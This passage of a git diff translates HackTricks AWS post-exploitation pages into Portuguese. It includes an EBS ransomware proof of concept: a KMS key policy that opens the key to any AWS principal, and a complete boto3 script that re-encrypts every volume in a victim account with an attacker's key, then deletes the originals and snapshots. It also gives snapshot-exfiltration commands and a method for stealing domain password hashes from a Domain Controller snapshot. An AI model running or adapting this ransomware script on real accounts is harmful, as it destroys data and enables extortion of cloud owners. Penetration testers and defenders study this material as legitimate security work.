EKS privado da sua própria máquina executando: ```shell kubectl get pods --insecure-skip-tls-verify ``` +Note que as conexões SSL falharão a menos que você defina a flag `--insecure-skip-tls-verify` (ou seu equivalente nas ferramentas de auditoria do K8s). Visto que o tráfego é tunelado através do túnel seguro do AWS SSM, você está seguro de qualquer tipo de ataques MitM. -Note that the SSL connections will fail unless you set the `--insecure-skip-tls-verify ` flag (or its equivalent in K8s audit tools). Seeing that the traffic is tunnelled through the secure AWS SSM tunnel, you are safe from any sort of MitM attacks. - -Finally, this technique is not specific to attacking private EKS clusters. You can set arbitrary domains and ports to pivot to any other AWS service or a custom application. - -### Share AMI +Finalmente, esta técnica não é específica para atacar clusters EKS privados. Você pode definir domínios e portas arbitrárias para pivotar para qualquer outro serviço AWS ou uma aplicação personalizada. +### Compartilhar AMI ```bash aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region ``` +### Buscar informações sensíveis em AMIs públicas e privadas -### Search sensitive information in public and private AMIs - -- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel is a tool designed to **search for sensitive information within public or private Amazon Machine Images (AMIs)**. It automates the process of launching instances from target AMIs, mounting their volumes, and scanning for potential secrets or sensitive data. - -### Share EBS Snapshot +- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel é uma ferramenta projetada para **buscar informações sensíveis dentro de Imagens de Máquina da Amazon (AMIs) públicas ou privadas**. Ela automatiza o processo de lançamento de instâncias a partir de AMIs alvo, montando seus volumes e escaneando em busca de segredos ou dados sensíveis potenciais. +### Compartilhar Snapshot EBS ```bash aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-permission "Add=[{UserId=}]" --region ``` - ### EBS Ransomware PoC -A proof of concept similar to the Ransomware demonstration demonstrated in the S3 post-exploitation notes. KMS should be renamed to RMS for Ransomware Management Service with how easy it is to use to encrypt various AWS services using it. - -First from an 'attacker' AWS account, create a customer managed key in KMS. For this example we'll just have AWS manage the key data for me, but in a realistic scenario a malicious actor would retain the key data outside of AWS' control. Change the key policy to allow for any AWS account Principal to use the key. For this key policy, the account's name was 'AttackSim' and the policy rule allowing all access is called 'Outside Encryption' +Uma prova de conceito semelhante à demonstração de Ransomware apresentada nas notas de pós-exploração do S3. O KMS deve ser renomeado para RMS, ou Serviço de Gerenciamento de Ransomware, dada a facilidade de uso para criptografar vários serviços da AWS usando-o. +Primeiro, a partir de uma conta AWS de 'atacante', crie uma chave gerenciada pelo cliente no KMS. Para este exemplo, deixaremos a AWS gerenciar os dados da chave para mim, mas em um cenário realista, um ator malicioso reteria os dados da chave fora do controle da AWS. Altere a política da chave para permitir que qualquer Principal de conta AWS use a chave. Para esta política de chave, o nome da conta era 'AttackSim' e a regra da política que permite todo o acesso é chamada de 'Outside Encryption' ``` { - "Version": "2012-10-17", - "Id": "key-consolepolicy-3", - "Statement": [ - { - "Sid": "Enable IAM User Permissions", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:root" - }, - "Action": "kms:*", - "Resource": "*" - }, - { - "Sid": "Allow access for Key Administrators", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" - }, - "Action": [ - "kms:Create*", - "kms:Describe*", - "kms:Enable*", - "kms:List*", - "kms:Put*", - "kms:Update*", - "kms:Revoke*", - "kms:Disable*", - "kms:Get*", - "kms:Delete*", - "kms:TagResource", - "kms:UntagResource", - "kms:ScheduleKeyDeletion", - "kms:CancelKeyDeletion" - ], - "Resource": "*" - }, - { - "Sid": "Allow use of the key", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" - }, - "Action": [ - "kms:Encrypt", - "kms:Decrypt", - "kms:ReEncrypt*", - "kms:GenerateDataKey*", - "kms:DescribeKey" - ], - "Resource": "*" - }, - { - "Sid": "Outside Encryption", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": [ - "kms:Encrypt", - "kms:Decrypt", - "kms:ReEncrypt*", - "kms:GenerateDataKey*", - "kms:DescribeKey", - "kms:GenerateDataKeyWithoutPlainText", - "kms:CreateGrant" - ], - "Resource": "*" - }, - { - "Sid": "Allow attachment of persistent resources", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" - }, - "Action": [ - "kms:CreateGrant", - "kms:ListGrants", - "kms:RevokeGrant" - ], - "Resource": "*", - "Condition": { - "Bool": { - "kms:GrantIsForAWSResource": "true" - } - } - } - ] +"Version": "2012-10-17", +"Id": "key-consolepolicy-3", +"Statement": [ +{ +"Sid": "Enable IAM User Permissions", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:root" +}, +"Action": "kms:*", +"Resource": "*" +}, +{ +"Sid": "Allow access for Key Administrators", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" +}, +"Action": [ +"kms:Create*", +"kms:Describe*", +"kms:Enable*", +"kms:List*", +"kms:Put*", +"kms:Update*", +"kms:Revoke*", +"kms:Disable*", +"kms:Get*", +"kms:Delete*", +"kms:TagResource", +"kms:UntagResource", +"kms:ScheduleKeyDeletion", +"kms:CancelKeyDeletion" +], +"Resource": "*" +}, +{ +"Sid": "Allow use of the key", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" +}, +"Action": [ +"kms:Encrypt", +"kms:Decrypt", +"kms:ReEncrypt*", +"kms:GenerateDataKey*", +"kms:DescribeKey" +], +"Resource": "*" +}, +{ +"Sid": "Outside Encryption", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": [ +"kms:Encrypt", +"kms:Decrypt", +"kms:ReEncrypt*", +"kms:GenerateDataKey*", +"kms:DescribeKey", +"kms:GenerateDataKeyWithoutPlainText", +"kms:CreateGrant" +], +"Resource": "*" +}, +{ +"Sid": "Allow attachment of persistent resources", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" +}, +"Action": [ +"kms:CreateGrant", +"kms:ListGrants", +"kms:RevokeGrant" +], +"Resource": "*", +"Condition": { +"Bool": { +"kms:GrantIsForAWSResource": "true" +} +} +} +] } ``` - -The key policy rule needs the following enabled to allow for the ability to use it to encrypt an EBS volume: +A regra da política de chave precisa das seguintes permissões habilitadas para permitir a capacidade de usá-la para criptografar um volume EBS: - `kms:CreateGrant` - `kms:Decrypt` @@ -260,222 +239,214 @@ The key policy rule needs the following enabled to allow for the ability to use - `kms:GenerateDataKeyWithoutPlainText` - `kms:ReEncrypt` -Now with the publicly accessible key to use. We can use a 'victim' account that has some EC2 instances spun up with unencrypted EBS volumes attached. This 'victim' account's EBS volumes are what we're targeting for encryption, this attack is under the assumed breach of a high-privilege AWS account. +Agora, com a chave acessível publicamente para usar. Podemos usar uma conta de 'vítima' que tenha algumas instâncias EC2 criadas com volumes EBS não criptografados anexados. Os volumes EBS dessa conta de 'vítima' são o que estamos visando para criptografia, este ataque está sob a suposição de violação de uma conta AWS de alto privilégio. ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459) -Similar to the S3 ransomware example. This attack will create copies of the attached EBS volumes using snapshots, use the publicly available key from the 'attacker' account to encrypt the new EBS volumes, then detach the original EBS volumes from the EC2 instances and delete them, and then finally delete the snapshots used to create the newly encrypted EBS volumes. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) +Semelhante ao exemplo de ransomware S3. Este ataque criará cópias dos volumes EBS anexados usando snapshots, usará a chave disponível publicamente da conta 'atacante' para criptografar os novos volumes EBS, em seguida, desanexará os volumes EBS originais das instâncias EC2 e os excluirá, e finalmente excluirá os snapshots usados para criar os novos volumes EBS criptografados. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) -This results in only encrypted EBS volumes left available in the account. +Isso resulta em apenas volumes EBS criptografados disponíveis na conta. ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220) -Also worth noting, the script stopped the EC2 instances to detach and delete the original EBS volumes. The original unencrypted volumes are gone now. +Também vale a pena notar que o script parou as instâncias EC2 para desanexar e excluir os volumes EBS originais. Os volumes originais não criptografados não existem mais. ![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e) -Next, return to the key policy in the 'attacker' account and remove the 'Outside Encryption' policy rule from the key policy. - +Em seguida, retorne à política de chave na conta 'atacante' e remova a regra de política 'Outside Encryption' da política de chave. ```json { - "Version": "2012-10-17", - "Id": "key-consolepolicy-3", - "Statement": [ - { - "Sid": "Enable IAM User Permissions", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:root" - }, - "Action": "kms:*", - "Resource": "*" - }, - { - "Sid": "Allow access for Key Administrators", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" - }, - "Action": [ - "kms:Create*", - "kms:Describe*", - "kms:Enable*", - "kms:List*", - "kms:Put*", - "kms:Update*", - "kms:Revoke*", - "kms:Disable*", - "kms:Get*", - "kms:Delete*", - "kms:TagResource", - "kms:UntagResource", - "kms:ScheduleKeyDeletion", - "kms:CancelKeyDeletion" - ], - "Resource": "*" - }, - { - "Sid": "Allow use of the key", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" - }, - "Action": [ - "kms:Encrypt", - "kms:Decrypt", - "kms:ReEncrypt*", - "kms:GenerateDataKey*", - "kms:DescribeKey" - ], - "Resource": "*" - }, - { - "Sid": "Allow attachment of persistent resources", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" - }, - "Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"], - "Resource": "*", - "Condition": { - "Bool": { - "kms:GrantIsForAWSResource": "true" - } - } - } - ] +"Version": "2012-10-17", +"Id": "key-consolepolicy-3", +"Statement": [ +{ +"Sid": "Enable IAM User Permissions", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:root" +}, +"Action": "kms:*", +"Resource": "*" +}, +{ +"Sid": "Allow access for Key Administrators", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" +}, +"Action": [ +"kms:Create*", +"kms:Describe*", +"kms:Enable*", +"kms:List*", +"kms:Put*", +"kms:Update*", +"kms:Revoke*", +"kms:Disable*", +"kms:Get*", +"kms:Delete*", +"kms:TagResource", +"kms:UntagResource", +"kms:ScheduleKeyDeletion", +"kms:CancelKeyDeletion" +], +"Resource": "*" +}, +{ +"Sid": "Allow use of the key", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" +}, +"Action": [ +"kms:Encrypt", +"kms:Decrypt", +"kms:ReEncrypt*", +"kms:GenerateDataKey*", +"kms:DescribeKey" +], +"Resource": "*" +}, +{ +"Sid": "Allow attachment of persistent resources", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" +}, +"Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"], +"Resource": "*", +"Condition": { +"Bool": { +"kms:GrantIsForAWSResource": "true" +} +} +} +] } ``` - -Wait a moment for the newly set key policy to propagate. Then return to the 'victim' account and attempt to attach one of the newly encrypted EBS volumes. You'll find that you can attach the volume. +Aguarde um momento para que a nova política de chave se propague. Em seguida, retorne à conta da 'vítima' e tente anexar um dos novos volumes EBS criptografados. Você descobrirá que pode anexar o volume. ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4) -But when you attempt to actually start the EC2 instance back up with the encrypted EBS volume it'll just fail and go from the 'pending' state back to the 'stopped' state forever since the attached EBS volume can't be decrypted using the key since the key policy no longer allows it. +Mas quando você tentar realmente iniciar a instância EC2 novamente com o volume EBS criptografado, ela simplesmente falhará e voltará do estado 'pendente' para o estado 'parado' para sempre, uma vez que o volume EBS anexado não pode ser descriptografado usando a chave, pois a política de chave não permite mais isso. ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0) -This the python script used. It takes AWS creds for a 'victim' account and a publicly available AWS ARN value for the key to be used for encryption. The script will make encrypted copies of ALL available EBS volumes attached to ALL EC2 instances in the targeted AWS account, then stop every EC2 instance, detach the original EBS volumes, delete them, and finally delete all the snapshots utilized during the process. This will leave only encrypted EBS volumes in the targeted 'victim' account. ONLY USE THIS SCRIPT IN A TEST ENVIRONMENT, IT IS DESTRUCTIVE AND WILL DELETE ALL THE ORIGINAL EBS VOLUMES. You can recover them using the utilized KMS key and restore them to their original state via snapshots, but just want to make you aware that this is a ransomware PoC at the end of the day. - +Este é o script python utilizado. Ele recebe credenciais AWS para uma conta 'vítima' e um valor ARN AWS publicamente disponível para a chave a ser usada para criptografia. O script fará cópias criptografadas de TODOS os volumes EBS disponíveis anexados a TODAS as instâncias EC2 na conta AWS alvo, em seguida, parará cada instância EC2, desanexará os volumes EBS originais, os excluirá e, finalmente, excluirá todos os snapshots utilizados durante o processo. Isso deixará apenas volumes EBS criptografados na conta 'vítima' alvo. USE ESTE SCRIPT APENAS EM UM AMBIENTE DE TESTE, É DESTRUTIVO E EXCLUI TODOS OS VOLUMES EBS ORIGINAIS. Você pode recuperá-los usando a chave KMS utilizada e restaurá-los ao seu estado original por meio de snapshots, mas quero apenas que você esteja ciente de que isso é uma prova de conceito de ransomware no final das contas. ``` import boto3 import argparse from botocore.exceptions import ClientError def enumerate_ec2_instances(ec2_client): - instances = ec2_client.describe_instances() - instance_volumes = {} - for reservation in instances['Reservations']: - for instance in reservation['Instances']: - instance_id = instance['InstanceId'] - volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol] - instance_volumes[instance_id] = volumes - return instance_volumes +instances = ec2_client.describe_instances() +instance_volumes = {} +for reservation in instances['Reservations']: +for instance in reservation['Instances']: +instance_id = instance['InstanceId'] +volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol] +instance_volumes[instance_id] = volumes +return instance_volumes def snapshot_volumes(ec2_client, volumes): - snapshot_ids = [] - for volume_id in volumes: - snapshot = ec2_client.create_snapshot(VolumeId=volume_id) - snapshot_ids.append(snapshot['SnapshotId']) - return snapshot_ids +snapshot_ids = [] +for volume_id in volumes: +snapshot = ec2_client.create_snapshot(VolumeId=volume_id) +snapshot_ids.append(snapshot['SnapshotId']) +return snapshot_ids def wait_for_snapshots(ec2_client, snapshot_ids): - for snapshot_id in snapshot_ids: - ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id]) +for snapshot_id in snapshot_ids: +ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id]) def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn): - new_volume_ids = [] - for snapshot_id in snapshot_ids: - snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0] - volume_id = snapshot_info['VolumeId'] - volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0] - availability_zone = volume_info['AvailabilityZone'] +new_volume_ids = [] +for snapshot_id in snapshot_ids: +snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0] +volume_id = snapshot_info['VolumeId'] +volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0] +availability_zone = volume_info['AvailabilityZone'] - volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone, - Encrypted=True, KmsKeyId=kms_key_arn) - new_volume_ids.append(volume['VolumeId']) - return new_volume_ids +volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone, +Encrypted=True, KmsKeyId=kms_key_arn) +new_volume_ids.append(volume['VolumeId']) +return new_volume_ids def stop_instances(ec2_client, instance_ids): - for instance_id in instance_ids: - try: - instance_description = ec2_client.describe_instances(InstanceIds=[instance_id]) - instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name'] +for instance_id in instance_ids: +try: +instance_description = ec2_client.describe_instances(InstanceIds=[instance_id]) +instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name'] - if instance_state == 'running': - ec2_client.stop_instances(InstanceIds=[instance_id]) - print(f"Stopping instance: {instance_id}") - ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id]) - print(f"Instance {instance_id} stopped.") - else: - print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).") +if instance_state == 'running': +ec2_client.stop_instances(InstanceIds=[instance_id]) +print(f"Stopping instance: {instance_id}") +ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id]) +print(f"Instance {instance_id} stopped.") +else: +print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).") - except ClientError as e: - print(f"Error stopping instance {instance_id}: {e}") +except ClientError as e: +print(f"Error stopping instance {instance_id}: {e}") def detach_and_delete_volumes(ec2_client, volumes): - for volume_id in volumes: - try: - ec2_client.detach_volume(VolumeId=volume_id) - ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id]) - ec2_client.delete_volume(VolumeId=volume_id) - print(f"Deleted volume: {volume_id}") - except ClientError as e: - print(f"Error detaching or deleting volume {volume_id}: {e}") +for volume_id in volumes: +try: +ec2_client.detach_volume(VolumeId=volume_id) +ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id]) +ec2_client.delete_volume(VolumeId=volume_id) +print(f"Deleted volume: {volume_id}") +except ClientError as e: +print(f"Error detaching or deleting volume {volume_id}: {e}") def delete_snapshots(ec2_client, snapshot_ids): - for snapshot_id in snapshot_ids: - try: - ec2_client.delete_snapshot(SnapshotId=snapshot_id) - print(f"Deleted snapshot: {snapshot_id}") - except ClientError as e: - print(f"Error deleting snapshot {snapshot_id}: {e}") +for snapshot_id in snapshot_ids: +try: +ec2_client.delete_snapshot(SnapshotId=snapshot_id) +print(f"Deleted snapshot: {snapshot_id}") +except ClientError as e: +print(f"Error deleting snapshot {snapshot_id}: {e}") def replace_volumes(ec2_client, instance_volumes): - instance_ids = list(instance_volumes.keys()) - stop_instances(ec2_client, instance_ids) +instance_ids = list(instance_volumes.keys()) +stop_instances(ec2_client, instance_ids) - all_volumes = [vol for vols in instance_volumes.values() for vol in vols] - detach_and_delete_volumes(ec2_client, all_volumes) +all_volumes = [vol for vols in instance_volumes.values() for vol in vols] +detach_and_delete_volumes(ec2_client, all_volumes) def ebs_lock(access_key, secret_key, region, kms_key_arn): - ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region) +ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region) - instance_volumes = enumerate_ec2_instances(ec2_client) - all_volumes = [vol for vols in instance_volumes.values() for vol in vols] - snapshot_ids = snapshot_volumes(ec2_client, all_volumes) - wait_for_snapshots(ec2_client, snapshot_ids) - create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn) # New encrypted volumes are created but not attached - replace_volumes(ec2_client, instance_volumes) # Stops instances, detaches and deletes old volumes - delete_snapshots(ec2_client, snapshot_ids) # Optionally delete snapshots if no longer needed +instance_volumes = enumerate_ec2_instances(ec2_client) +all_volumes = [vol for vols in instance_volumes.values() for vol in vols] +snapshot_ids = snapshot_volumes(ec2_client, all_volumes) +wait_for_snapshots(ec2_client, snapshot_ids) +create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn) # New encrypted volumes are created but not attached +replace_volumes(ec2_client, instance_volumes) # Stops instances, detaches and deletes old volumes +delete_snapshots(ec2_client, snapshot_ids) # Optionally delete snapshots if no longer needed def parse_arguments(): - parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool') - parser.add_argument('--access-key', required=True, help='AWS Access Key ID') - parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key') - parser.add_argument('--region', required=True, help='AWS Region') - parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption') - return parser.parse_args() +parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool') +parser.add_argument('--access-key', required=True, help='AWS Access Key ID') +parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key') +parser.add_argument('--region', required=True, help='AWS Region') +parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption') +return parser.parse_args() def main(): - args = parse_arguments() - ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region) +args = parse_arguments() +ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region) - instance_volumes = enumerate_ec2_instances(ec2_client) - all_volumes = [vol for vols in instance_volumes.values() for vol in vols] - snapshot_ids = snapshot_volumes(ec2_client, all_volumes) - wait_for_snapshots(ec2_client, snapshot_ids) - create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn) - replace_volumes(ec2_client, instance_volumes) - delete_snapshots(ec2_client, snapshot_ids) +instance_volumes = enumerate_ec2_instances(ec2_client) +all_volumes = [vol for vols in instance_volumes.values() for vol in vols] +snapshot_ids = snapshot_volumes(ec2_client, all_volumes) +wait_for_snapshots(ec2_client, snapshot_ids) +create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn) +replace_volumes(ec2_client, instance_volumes) +delete_snapshots(ec2_client, snapshot_ids) if __name__ == "__main__": - main() +main() ``` - {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md index 7a9a19cc4..f52d52337 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md @@ -2,8 +2,7 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Checking a snapshot locally - +## Verificando um snapshot localmente ```bash # Install dependencies pip install 'dsnap[cli]' @@ -32,10 +31,8 @@ cd dsnap make docker/build IMAGE=".img" make docker/run #With the snapshot downloaded ``` - > [!CAUTION] -> **Note** that `dsnap` will not allow you to download public snapshots. To circumvent this, you can make a copy of the snapshot in your personal account, and download that: - +> **Nota** que `dsnap` não permitirá que você baixe snapshots públicos. Para contornar isso, você pode fazer uma cópia do snapshot em sua conta pessoal e baixar isso: ```bash # Copy the snapshot aws ec2 copy-snapshot --source-region us-east-2 --source-snapshot-id snap-09cf5d9801f231c57 --destination-region us-east-2 --description "copy of snap-09cf5d9801f231c57" @@ -49,59 +46,55 @@ dsnap --region us-east-2 get snap-027da41be451109da # Delete the snapshot after downloading aws ec2 delete-snapshot --snapshot-id snap-027da41be451109da --region us-east-2 ``` +Para mais informações sobre esta técnica, consulte a pesquisa original em [https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/](https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/) -For more info on this technique check the original research in [https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/](https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/) - -You can do this with Pacu using the module [ebs\_\_download_snapshots](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#ebs__download_snapshots) - -## Checking a snapshot in AWS +Você pode fazer isso com o Pacu usando o módulo [ebs\_\_download_snapshots](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#ebs__download_snapshots) +## Verificando um snapshot na AWS ```bash aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-0b49342abd1bdcb89 ``` +**Monte-o em uma VM EC2 sob seu controle** (tem que estar na mesma região que a cópia do backup): -**Mount it in a EC2 VM under your control** (it has to be in the same region as the copy of the backup): +Passo 1: Um novo volume do seu tamanho e tipo preferidos deve ser criado acessando EC2 –> Volumes. -Step 1: A new volume of your preferred size and type is to be created by heading over to EC2 –> Volumes. +Para poder realizar esta ação, siga estes comandos: -To be able to perform this action, follow these commands: +- Crie um volume EBS para anexar à instância EC2. +- Certifique-se de que o volume EBS e a instância estão na mesma zona. -- Create an EBS volume to attach to the EC2 instance. -- Ensure that the EBS volume and the instance are in the same zone. +Passo 2: A opção "anexar volume" deve ser selecionada clicando com o botão direito no volume criado. -Step 2: The "attach volume" option is to be selected by right-clicking on the created volume. +Passo 3: A instância na caixa de texto da instância deve ser selecionada. -Step 3: The instance from the instance text box is to be selected. +Para poder realizar esta ação, use o seguinte comando: -To be able to perform this action, use the following command: +- Anexe o volume EBS. -- Attach the EBS volume. +Passo 4: Faça login na instância EC2 e liste os discos disponíveis usando o comando `lsblk`. -Step 4: Login to the EC2 instance and list the available disks using the command `lsblk`. +Passo 5: Verifique se o volume tem dados usando o comando `sudo file -s /dev/xvdf`. -Step 5: Check if the volume has any data using the command `sudo file -s /dev/xvdf`. +Se a saída do comando acima mostrar "/dev/xvdf: data", isso significa que o volume está vazio. -If the output of the above command shows "/dev/xvdf: data", it means the volume is empty. +Passo 6: Formate o volume para o sistema de arquivos ext4 usando o comando `sudo mkfs -t ext4 /dev/xvdf`. Alternativamente, você também pode usar o formato xfs usando o comando `sudo mkfs -t xfs /dev/xvdf`. Por favor, note que você deve usar ext4 ou xfs. -Step 6: Format the volume to the ext4 filesystem using the command `sudo mkfs -t ext4 /dev/xvdf`. Alternatively, you can also use the xfs format by using the command `sudo mkfs -t xfs /dev/xvdf`. Please note that you should use either ext4 or xfs. +Passo 7: Crie um diretório de sua escolha para montar o novo volume ext4. Por exemplo, você pode usar o nome "newvolume". -Step 7: Create a directory of your choice to mount the new ext4 volume. For example, you can use the name "newvolume". +Para poder realizar esta ação, use o comando `sudo mkdir /newvolume`. -To be able to perform this action, use the command `sudo mkdir /newvolume`. +Passo 8: Monte o volume no diretório "newvolume" usando o comando `sudo mount /dev/xvdf /newvolume/`. -Step 8: Mount the volume to the "newvolume" directory using the command `sudo mount /dev/xvdf /newvolume/`. +Passo 9: Mude o diretório para o diretório "newvolume" e verifique o espaço em disco para validar a montagem do volume. -Step 9: Change directory to the "newvolume" directory and check the disk space to validate the volume mount. +Para poder realizar esta ação, use os seguintes comandos: -To be able to perform this action, use the following commands: +- Mude o diretório para `/newvolume`. +- Verifique o espaço em disco usando o comando `df -h .`. A saída deste comando deve mostrar o espaço livre no diretório "newvolume". -- Change directory to `/newvolume`. -- Check the disk space using the command `df -h .`. The output of this command should show the free space in the "newvolume" directory. - -You can do this with Pacu using the module `ebs__explore_snapshots`. - -## Checking a snapshot in AWS (using cli) +Você pode fazer isso com Pacu usando o módulo `ebs__explore_snapshots`. +## Verificando um snapshot na AWS (usando cli) ```bash aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id @@ -127,19 +120,14 @@ sudo mount /dev/xvdh1 /mnt ls /mnt ``` - ## Shadow Copy -Any AWS user possessing the **`EC2:CreateSnapshot`** permission can steal the hashes of all domain users by creating a **snapshot of the Domain Controller** mounting it to an instance they control and **exporting the NTDS.dit and SYSTEM** registry hive file for use with Impacket's secretsdump project. +Qualquer usuário da AWS que possua a permissão **`EC2:CreateSnapshot`** pode roubar os hashes de todos os usuários do domínio criando um **snapshot do Controlador de Domínio**, montando-o em uma instância que eles controlam e **exportando o NTDS.dit e o arquivo do hive do registro SYSTEM** para uso com o projeto secretsdump do Impacket. -You can use this tool to automate the attack: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) or you could use one of the previous techniques after creating a snapshot. +Você pode usar esta ferramenta para automatizar o ataque: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) ou você pode usar uma das técnicas anteriores após criar um snapshot. ## References - [https://devopscube.com/mount-ebs-volume-ec2-instance/](https://devopscube.com/mount-ebs-volume-ec2-instance/) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md index eb3b5f33f..1a5212964 100644 --- 